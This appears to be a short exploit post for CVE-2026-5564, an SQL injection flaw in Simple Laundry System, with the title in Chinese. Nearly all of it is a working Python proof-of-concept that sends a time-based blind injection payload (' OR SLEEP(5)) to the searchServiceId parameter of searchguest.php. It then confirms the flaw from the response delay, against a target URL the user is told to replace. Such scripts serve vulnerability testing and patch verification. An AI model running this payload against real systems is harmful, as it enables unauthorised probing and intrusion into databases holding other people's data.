CVE-2026-5564 Simple Laundry System SQL注入漏洞

import requests def check_sqli(target_url): """ Proof of Concept for CVE-2026-5564 Tests for time-based blind SQL injection in searchServiceId parameter. """ inject_point = "/searchguest.php" full_url = f"{target_url}{inject_point}" # Malicious payload to trigger database delay # Payload: ' OR SLEEP(5)-- - payload = "1' OR SLEEP(5)-- -" params = { "searchServiceId": payload } try: print(f"[*] Sending request to: {full_url}") response = requests.get(full_url, params=params, timeout=10) # If response time is greater than 5 seconds, injection is likely successful if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)